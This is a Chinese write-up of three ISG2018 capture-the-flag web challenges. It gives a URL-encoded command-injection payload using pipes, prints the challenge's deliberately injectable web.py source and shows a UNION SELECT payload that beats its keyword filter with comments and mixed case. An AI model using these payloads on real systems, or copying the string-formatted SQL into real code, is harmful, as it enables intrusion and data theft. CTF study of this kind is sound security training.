ISG2018 web题Writeup

0x01.命令注入

这题可以使用burpsuite扫出来,但是可能需要测一下。

得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23%7c%22%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23

刚开始有点尴尬,以为不行了呢。

但是大家可以注意到,等号后面是输出了的,也就是说确实执行了echo的。

然后执行whoami确实执行成功了。

然后就是直接ls得到flag路径cat flag了。

http://202.120.7.205:60003/index.php?calc=i|echo%20gzavvlsv9c%20q9szmriaiy||a%20%23%27%20|echo%20gzavvlsv9c%20q9szmriaiy||a%20%23|%22%20|whoami||a%20%23

0x02.

提供了如下py文件。

很简单可以看出是存在SQL注入的,但是有部分过滤。

 1 #coding: utf8
 2 import web
 3 import os
 4 import re
 5 import sys
 6 import sqlite3
 7 from web.contrib.template import render_mako
 8 
 9 abspath = os.path.dirname(__file__)
10 sys.path.append(abspath)
11 #os.chdir(abspath)
12 urls = (
13     '/', 'index',
14     '/news-(.+).html', 'news',
15     # webpy URI route line by line.
16 )
17 
18 app = web.application(urls, globals(), autoreload=True)
19 
20 web.config.debug = True
21 
22 
23 def my_loadhook():
24     web.header('content-type', 'text/html;charset=utf-8', unique=True)
25 
26 
27 app.add_processor(web.loadhook(my_loadhook))
28 
29 
30 def notfound():
31     return web.notfound('404')
32 
33 
34 def internalerror():
35     return web.internalerror('404')
36 
37 
38 app.notfound = notfound
39 app.internalerror = internalerror
40 
41 render = render_mako(
42     directories=[abspath + '/templates'],
43     input_encoding='utf-8',
44     output_encoding='utf-8',
45 )
46 
47 def codesafe(n):
48     if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
49         return False
50     else:
51         return True
52 
53 
54 
55 
56 class index:
57     def GET(self):
58 
59         try:
60             conn = sqlite3.connect(abspath + '/db/data.db')
61         except:
62             conn = sqlite3.connect('db/data.db')
63         cur = conn.cursor()
64         a = cur.execute('select id,title from news order by id asc').fetchall()
65         cur.close()
66         conn.close()
67         return render.index(list=a)
68 
69 
70 class news:
71     def GET(self, id):
72         # try:
73         #    id = web.input()['id']
74         # except:
75         #    raise web.seeother('/')
76         if not codesafe(id):
77             return 'Hacker?'
78         try:
79             conn = sqlite3.connect(abspath + '/db/data.db')
80         except:
81             conn = sqlite3.connect('db/data.db')
82         cur = conn.cursor()
83         sql = 'select title,content from news where id = {0}'.format(id)
84         a = cur.execute(sql).fetchall()
85         cur.close()
86         conn.close()
87         return render.news(title=a[0][0], content=a[0][1])
88 
89 
90 if __name__ == '__main__':
91     app.run()
92 else:
93     application = app.wsgifunc()
View Code

  因为根本都没有验证大小写所以直接大小写就可以绕过,这里分享一个比赛的tips,注入里好多表明列明都是flag,别去猜裤猜表了,直接select flag from flag试试。

  所以得出payload为:http://202.120.7.206:60019/news-2/**/uNion/**/sELECT/**/1,flag/**/FROM/**/flag.html

0x03.

  这题做出来的人比较多也比较low。之前刷题就刷到过。

  一打开就是提示要输入密码

  

  然后源码里看到了一个base64加密的发现并不是flag

  

  最终直接curl http://202.120.7.207:60007/index.html得到flag

    

表示只会做WEB 至于PWN实在是有心无力。

猜你喜欢

转载自www.cnblogs.com/nul1/p/9576576.html
ISG